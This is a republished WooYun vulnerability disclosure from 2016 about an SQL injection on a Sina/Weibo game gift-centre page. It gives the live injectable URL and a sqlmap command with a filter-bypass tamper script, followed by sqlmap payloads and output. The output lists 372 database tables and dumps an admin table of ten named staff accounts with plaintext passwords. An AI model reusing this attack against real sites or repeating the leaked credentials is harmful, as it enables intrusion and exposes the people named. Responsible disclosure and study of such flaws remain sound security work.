新浪某站SQL注入(轻松绕过防御机制)

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2017年5月3日11:15:20评论421 views字数 211阅读0分42秒阅读模式
摘要

2016-04-17： 细节已通知厂商并且等待厂商处理中
2016-04-19： 厂商已经确认，细节仅向厂商公开
2016-04-29： 细节向核心白帽子及相关领域专家公开
2016-05-09： 细节向普通白帽子公开
2016-05-19： 细节向实习白帽子公开
2016-06-03： 细节向公众公开

漏洞概要 关注数(36) 关注此漏洞

缺陷编号： WooYun-2016-196911

漏洞标题： 新浪某站SQL注入(轻松绕过防御机制)

相关厂商： 新浪

漏洞作者： 方大核桃

提交时间： 2016-04-17 21:47

公开时间： 2016-06-03 17:10

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 12

漏洞状态： 厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： Mysql 字符类型注射

5人收藏

漏洞详情

披露状态：

2016-04-17： 细节已通知厂商并且等待厂商处理中
2016-04-19： 厂商已经确认，细节仅向厂商公开
2016-04-29： 细节向核心白帽子及相关领域专家公开
2016-05-09： 细节向普通白帽子公开
2016-05-19： 细节向实习白帽子公开
2016-06-03： 细节向公众公开

简要描述：

求给12rank升级普通白帽子

详细说明：

注入点

code 区域 
http://game.weibo.com/home/giftcenter/allgift?id=1793466158

参数id未过滤引发了血案

复现命令:

code 区域 
sqlmap.py -u "http://game.weibo.com/home/giftcenter/allgift?id=1793466158" --tamper ./tamper/concat2concatws.py

此处需加上混淆脚本,不然跑不出数据来(能检测到注入点)

sqlmap证明:

code 区域 
:~/FromGithub/sqlmap$ ./sqlmap.py -u "http://game.weibo.com/home/giftcenter/allgift?id=1793466158" ./tamper/concat2concatws.py --tables -T wyx_gift_info --columns
          _
  ___ ___| |_____ ___ ___  {1.0.4.4#dev}
 |_ -| . | |     | .'| . |
 |___|_  |_|_|_|_|__,|  _|
       |_|           |_|   http://sqlmap.org
 
 [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
 
 [*] starting at 08:35:37
 
 [08:35:37] [INFO] resuming back-end DBMS 'mysql' 
 [08:35:37] [INFO] testing connection to the target URL
 sqlmap resumed the following injection point(s) from stored session:
 ---
 Parameter: id (GET)
     Type: error-based
     Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
     Payload: id=1793466158 AND EXTRACTVALUE(6947,CONCAT(0x5c,0x716a6a6a71,(SELECT (ELT(6947=6947,1))),0x717a766a71))
 
     Type: UNION query
     Title: Generic UNION query (NULL) - 13 columns
     Payload: id=1793466158 UNION ALL SELECT CONCAT(0x716a6a6a71,0x6f5659514b6e66564a5a7269556c76696c4342737746577a69554b62706a6d5361464a6970517a48,0x717a766a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
 ---
 [08:35:37] [INFO] the back-end DBMS is MySQL
 back-end DBMS: MySQL 5.1

泄露的是游戏礼品卡以及一些其他信息

表名如下:

code 区域 
Database: app_wyxwg
 [372 tables]
 +--------------------------------+
 | ac_app_info                    |
 | ac_card_1000634813             |
 | ac_card_1061941337             |
 | ac_card_1063848787             |
 | ac_card_1075686177             |
 | ac_card_1088947451             |
 | ac_card_1113475311             |
 | ac_card_1139240581             |
 | ac_card_1140978642             |
 | ac_card_1202416732             |
 | ac_card_1296374962             |
 | ac_card_1333682350             |
 | ac_card_1335940411             |
 | ac_card_1355182900             |
 | ac_card_138632168              |
 | ac_card_1426804449             |
 | ac_card_1497891364             |
 | ac_card_153435334              |
 | ac_card_1536411926             |
 | ac_card_1591063028             |
 | ac_card_1599371210             |
 | ac_card_1632830007             |
 | ac_card_1643769198             |
 | ac_card_1696311346             |
 | ac_card_1701093747             |
 | ac_card_1717824507             |
 | ac_card_1782509865             |
 | ac_card_1793466158             |
 | ac_card_182771672              |
 | ac_card_1828077322             |
 | ac_card_1840658317             |
 | ac_card_1896804107             |
 | ac_card_1930672832             |
 | ac_card_1931487656             |
 | ac_card_1942330763             |
 | ac_card_1949319585             |
 | ac_card_1959948215             |
 | ac_card_1972919942             |
 | ac_card_2001419793             |
 | ac_card_2029964575             |
 | ac_card_20320157               |
 | ac_card_2040047246             |
 | ac_card_2054524879             |
 | ac_card_2059582607             |
 | ac_card_2075109474             |
 | ac_card_2122550839             |
 | ac_card_2173069991             |
 | ac_card_2248897440             |
 | ac_card_2278806545             |
 | ac_card_2407325320             |
 | ac_card_241436255              |
 | ac_card_2493303250             |
 | ac_card_2543899332             |
 | ac_card_2553074169             |
 | ac_card_2574785607             |
 | ac_card_2578294976             |
 | ac_card_2592802044             |
 | ac_card_2648753316             |
 | ac_card_2678317303             |
 | ac_card_26834556               |
 | ac_card_2709149958             |
 | ac_card_2748862254             |
 | ac_card_2749774612             |
 | ac_card_2754495406             |
 | ac_card_2769098971             |
 | ac_card_27703597               |
 | ac_card_2772699862             |
 | ac_card_2831099247             |
 | ac_card_29007707               |
 | ac_card_2936877187             |
 | ac_card_2945103997             |
 | ac_card_299741471              |
 | ac_card_2999300503             |
 | ac_card_3007052601             |
 | ac_card_3031123572             |
 | ac_card_3035403553             |
 | ac_card_304343003              |
 | ac_card_305512469              |
 | ac_card_3080200451             |
 | ac_card_3094538805             |
 | ac_card_3100797371             |
 | ac_card_3101439532             |
 | ac_card_3111245181             |
 | ac_card_3128253484             |
 | ac_card_3175385071             |
 | ac_card_3207876985             |
 | ac_card_3213774457             |
 | ac_card_323396218              |
 | ac_card_3235046856             |
 | ac_card_3235790965             |
 | ac_card_3251845288             |
 | ac_card_3266118805             |
 | ac_card_3266771926             |
 | ac_card_3281772937             |
 | ac_card_3312862458             |
 | ac_card_333556653              |
 | ac_card_3354795559             |
 | ac_card_3370493018             |
 | ac_card_3396581656             |
 | ac_card_3436557177             |
 | ac_card_3489880529             |
 | ac_card_3519357325             |
 | ac_card_3591173588             |
 | ac_card_3593716338             |
 | ac_card_3603873567             |
 | ac_card_3627369507             |
 | ac_card_3631677399             |
 | ac_card_3633439805             |
 | ac_card_3634294922             |
 | ac_card_3648068094             |
 | ac_card_3695334005             |
 | ac_card_369620565              |
 | ac_card_3708129828             |
 | ac_card_3739735099             |
 | ac_card_3740513143             |
 | ac_card_3763759559             |
 | ac_card_3765089852             |
 | ac_card_3776820852             |
 | ac_card_3779616881             |
 | ac_card_3834916806             |
 | ac_card_383502640              |
 | ac_card_385707598              |
 | ac_card_3867225538             |
 | ac_card_3879447791             |
 | ac_card_3902438532             |
 | ac_card_3903000292             |
 | ac_card_3906307040             |
 | ac_card_3928047464             |
 | ac_card_3929126318             |
 | ac_card_3929143939             |
 | ac_card_3951524811             |
 | ac_card_395205024              |
 | ac_card_3988115332             |
 | ac_card_4037795941             |
 | ac_card_4043178508             |
 | ac_card_4097134576             |
 | ac_card_4110705332             |
 | ac_card_4171737493             |
 | ac_card_4182532026             |
 | ac_card_4187151964             |
 | ac_card_4199729400             |
 | ac_card_4215138274             |
 | ac_card_4216127926             |
 | ac_card_421930467              |
 | ac_card_422451490              |
 | ac_card_4243675836             |
 | ac_card_444137823              |
 | ac_card_452417899              |
 | ac_card_456710521              |
 | ac_card_462939656              |
 | ac_card_474905875              |
 | ac_card_528498875              |
 | ac_card_54879055               |
 | ac_card_568538955              |
 | ac_card_572831867              |
 | ac_card_57921048               |
 | ac_card_597014186              |
 | ac_card_618966298              |
 | ac_card_625210434              |
 | ac_card_641890080              |
 | ac_card_65228455               |
 | ac_card_704907042              |
 | ac_card_742180012              |
 | ac_card_748689290              |
 | ac_card_755598493              |
 | ac_card_789485592              |
 | ac_card_793022359              |
 | ac_card_795245077              |
 | ac_card_808234055              |
 | ac_card_859055563              |
 | ac_card_867325313              |
 | ac_card_868608705              |
 | ac_card_898595003              |
 | ac_card_902476757              |
 | ac_card_920781235              |
 | ac_card_955481435              |
 | ac_card_980780301              |
 | ac_card_default                |
 | ac_desc                        |
 | ac_info                        |
 | ac_server                      |
 | ac_type                        |
 | admin_manager                  |
 | cm_count                       |
 | ld_app_server                  |
 | test                           |
 | webgame_config                 |
 | webgame_foreshow_server        |
 | webgame_hot_Activity           |
 | webgame_maintain               |
 | webgame_new_server             |
 | webgame_pop_layer              |
 | webgame_recommend              |
 | webgame_silde                  |
 | wg_app_forum                   |
 | wg_app_info                    |
 | wg_app_notice                  |
 | wg_app_propaganda              |
 | wg_app_questions               |
 | wg_app_recommended             |
 | wg_app_screenshot              |
 | wg_app_server                  |
 | wg_app_server_info             |
 | wg_app_server_info_bak20130513 |
 | wg_app_server_info_bak20130517 |
 | wg_app_stat                    |
 | wyx_app_info                   |
 | wyx_gift_1000634813            |
 | wyx_gift_1061941337            |
 | wyx_gift_1063848787            |
 | wyx_gift_1075686177            |
 | wyx_gift_1088947451            |
 | wyx_gift_1113475311            |
 | wyx_gift_1139240581            |
 | wyx_gift_1202416732            |
 | wyx_gift_1296374962            |
 | wyx_gift_1333682350            |
 | wyx_gift_1335940411            |
 | wyx_gift_1355182900            |
 | wyx_gift_138632168             |
 | wyx_gift_1426804449            |
 | wyx_gift_1497891364            |
 | wyx_gift_153435334             |
 | wyx_gift_1591063028            |
 | wyx_gift_1599371210            |
 | wyx_gift_1632830007            |
 | wyx_gift_1643769198            |
 | wyx_gift_1696311346            |
 | wyx_gift_1701093747            |
 | wyx_gift_1717824507            |
 | wyx_gift_1782509865            |
 | wyx_gift_1793466158            |
 | wyx_gift_182771672             |
 | wyx_gift_1828077322            |
 | wyx_gift_1840658317            |
 | wyx_gift_1896804107            |
 | wyx_gift_1930672832            |
 | wyx_gift_1931487656            |
 | wyx_gift_1942330763            |
 | wyx_gift_1949319585            |
 | wyx_gift_1959948215            |
 | wyx_gift_1972919942            |
 | wyx_gift_2001419793            |
 | wyx_gift_2029964575            |
 | wyx_gift_20320157              |
 | wyx_gift_2040047246            |
 | wyx_gift_2054524879            |
 | wyx_gift_2059582607            |
 | wyx_gift_2075109474            |
 | wyx_gift_2122550839            |
 | wyx_gift_2173069991            |
 | wyx_gift_2248897440            |
 | wyx_gift_2278806545            |
 | wyx_gift_2407325320            |
 | wyx_gift_241436255             |
 | wyx_gift_2493303250            |
 | wyx_gift_2543899332            |
 | wyx_gift_2553074169            |
 | wyx_gift_2574785607            |
 | wyx_gift_2578294976            |
 | wyx_gift_2648753316            |
 | wyx_gift_2678317303            |
 | wyx_gift_26834556              |
 | wyx_gift_2709149958            |
 | wyx_gift_2748862254            |
 | wyx_gift_2749774612            |
 | wyx_gift_2754495406            |
 | wyx_gift_2769098971            |
 | wyx_gift_27703597              |
 | wyx_gift_2772699862            |
 | wyx_gift_2831099247            |
 | wyx_gift_29007707              |
 | wyx_gift_2936877187            |
 | wyx_gift_2945103997            |
 | wyx_gift_299741471             |
 | wyx_gift_2999300503            |
 | wyx_gift_3007052601            |
 | wyx_gift_3031123572            |
 | wyx_gift_304343003             |
 | wyx_gift_305512469             |
 | wyx_gift_3080200451            |
 | wyx_gift_3094538805            |
 | wyx_gift_3100797371            |
 | wyx_gift_3101439532            |
 | wyx_gift_3111245181            |
 | wyx_gift_3128253484            |
 | wyx_gift_3175385071            |
 | wyx_gift_3207876985            |
 | wyx_gift_3213774457            |
 | wyx_gift_323396218             |
 | wyx_gift_3235046856            |
 | wyx_gift_3235790965            |
 | wyx_gift_3251845288            |
 | wyx_gift_3266118805            |
 | wyx_gift_3266771926            |
 | wyx_gift_3281772937            |
 | wyx_gift_3312862458            |
 | wyx_gift_3354795559            |
 | wyx_gift_3370493018            |
 | wyx_gift_3396581656            |
 | wyx_gift_3436557177            |
 | wyx_gift_3519357325            |
 | wyx_gift_3593716338            |
 | wyx_gift_3603873567            |
 | wyx_gift_3627369507            |
 | wyx_gift_3633439805            |
 | wyx_gift_3634294922            |
 | wyx_gift_3648068094            |
 | wyx_gift_3695334005            |
 | wyx_gift_369620565             |
 | wyx_gift_3708129828            |
 | wyx_gift_3739735099            |
 | wyx_gift_3740513143            |
 | wyx_gift_3763759559            |
 | wyx_gift_3765089852            |
 | wyx_gift_3776820852            |
 | wyx_gift_3779616881            |
 | wyx_gift_3834916806            |
 | wyx_gift_383502640             |
 | wyx_gift_385707598             |
 | wyx_gift_3867225538            |
 | wyx_gift_3879447791            |
 | wyx_gift_3902438532            |
 | wyx_gift_3903000292            |
 | wyx_gift_3906307040            |
 | wyx_gift_3928047464            |
 | wyx_gift_3929126318            |
 | wyx_gift_3929143939            |
 | wyx_gift_3951524811            |
 | wyx_gift_395205024             |
 | wyx_gift_3988115332            |
 | wyx_gift_4037795941            |
 | wyx_gift_4043178508            |
 | wyx_gift_4097134576            |
 | wyx_gift_4110705332            |
 | wyx_gift_4171737493            |
 | wyx_gift_4182532026            |
 | wyx_gift_4187151964            |
 | wyx_gift_4199729400            |
 | wyx_gift_4215138274            |
 | wyx_gift_4216127926            |
 | wyx_gift_444137823             |
 | wyx_gift_452417899             |
 | wyx_gift_456710521             |
 | wyx_gift_462939656             |
 | wyx_gift_474905875             |
 | wyx_gift_528498875             |
 | wyx_gift_54879055              |
 | wyx_gift_568538955             |
 | wyx_gift_572831867             |
 | wyx_gift_57921048              |
 | wyx_gift_597014186             |
 | wyx_gift_618966298             |
 | wyx_gift_625210434             |
 | wyx_gift_641890080             |
 | wyx_gift_65228455              |
 | wyx_gift_704907042             |
 | wyx_gift_742180012             |
 | wyx_gift_748689290             |
 | wyx_gift_755598493             |
 | wyx_gift_793022359             |
 | wyx_gift_795245077             |
 | wyx_gift_859055563             |
 | wyx_gift_867325313             |
 | wyx_gift_868608705             |
 | wyx_gift_898595003             |
 | wyx_gift_902476757             |
 | wyx_gift_920781235             |
 | wyx_gift_955481435             |
 | wyx_gift_980780301             |
 | wyx_gift_info                  |
 | wyx_gift_user_box              |
 +--------------------------------+

看了下管理员的密码 发现都是弱口令,好尴尬.你们这么大的厂也有弱口令...

code 区域 
Database: app_wyxwg
 Table: admin_manager
 [3 columns]
 +--------+-------------+
 | Column | Type        |
 +--------+-------------+
 | id     | numeric     |
 | name   | non-numeric |
 | passwd | non-numeric |
 +--------+-------------+
 
 [08:21:43] [INFO] fetching columns for table 'admin_manager' in database 'app_wyxwg'
 [08:21:44] [WARNING] the SQL query provided does not return any output
 [08:21:44] [WARNING] the SQL query provided does not return any output
 [08:21:44] [WARNING] unable to retrieve column names for table 'admin_manager' in database 'app_wyxwg'
 [08:21:44] [INFO] fetching entries for table 'admin_manager' in database 'app_wyxwg'
 [08:21:44] [INFO] the SQL query used returns 10 entries
 [08:21:44] [INFO] retrieved: "25","xinlangyouxi","xinlangyouxi888"
 [08:21:45] [INFO] retrieved: "8","lihuijuan","lihuijuan"
 [08:21:45] [INFO] retrieved: "36","gejiao","111111"
 [08:21:45] [INFO] retrieved: "35","jinjing","123456"
 [08:21:45] [INFO] retrieved: "34","xinghui","123456"
 [08:21:45] [INFO] retrieved: "40","zhuchongyang","zhuchongyang"
 [08:21:45] [INFO] retrieved: "42","chenyang3","111111"
 [08:21:45] [INFO] retrieved: "41","boqian","nirvana"
 [08:21:45] [INFO] retrieved: "39","jinchuan","jinchuan123"
 [08:21:46] [INFO] retrieved: "43","jialong3","jialong3"
 [08:21:46] [INFO] analyzing table dump for possible password hashes                
 Database: app_wyxwg
 Table: admin_manager
 [10 entries]
 +----+--------------+-----------------+
 | id | name         | passwd          |
 +----+--------------+-----------------+
 | 25 | xinlangyouxi | xinlangyouxi888 |
 | 8  | lihuijuan    | lihuijuan       |
 | 36 | gejiao       | 111111          |
 | 35 | jinjing      | 123456          |
 | 34 | xinghui      | 123456          |
 | 40 | zhuchongyang | zhuchongyang    |
 | 42 | chenyang3    | 111111          |
 | 41 | boqian       | nirvana         |
 | 39 | jinchuan     | jinchuan123     |
 | 43 | jialong3     | jialong3        |
 +----+--------------+-----------------+

漏洞证明：

code 区域 
:~/FromGithub/sqlmap$ ./sqlmap.py -u "http://game.weibo.com/home/giftcenter/allgift?id=1793466158" --is-dba ./tamper/concat2concatws.py  -T admin_manager --columns --dump
          _
  ___ ___| |_____ ___ ___  {1.0.4.4#dev}
 |_ -| . | |     | .'| . |
 |___|_  |_|_|_|_|__,|  _|
       |_|           |_|   http://sqlmap.org
 
 [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
 
 [*] starting at 08:21:42
 
 [08:21:42] [INFO] resuming back-end DBMS 'mysql' 
 [08:21:42] [INFO] testing connection to the target URL
 sqlmap resumed the following injection point(s) from stored session:
 ---
 Parameter: id (GET)
     Type: error-based
     Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
     Payload: id=1793466158 AND EXTRACTVALUE(6947,CONCAT(0x5c,0x716a6a6a71,(SELECT (ELT(6947=6947,1))),0x717a766a71))
 
     Type: UNION query
     Title: Generic UNION query (NULL) - 13 columns
     Payload: id=1793466158 UNION ALL SELECT CONCAT(0x716a6a6a71,0x6f5659514b6e66564a5a7269556c76696c4342737746577a69554b62706a6d5361464a6970517a48,0x717a766a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
 ---
 [08:21:43] [INFO] the back-end DBMS is MySQL
 back-end DBMS: MySQL 5.1

修复方案：

注入点不止一个.请自查修复

另:求帮忙给12rank帮升普通白帽子

版权声明：转载请注明来源 方大核桃@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2016-04-19 17:02

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  1. 2016-06-03 17:36 | 老实先生 ( 普通白帽子 | Rank:228 漏洞数:18 | 专业承揽工程刮大白，外墙涂料，外墙保温，...)

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    给你折半了！

  2. 2016-06-03 18:16 | 方大核桃 ( 普通白帽子 | Rank:193 漏洞数:39 | 要怎么长大,才能赢过时间啊)

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    @老实先生 木事 现在一样普通白帽了 hhhh

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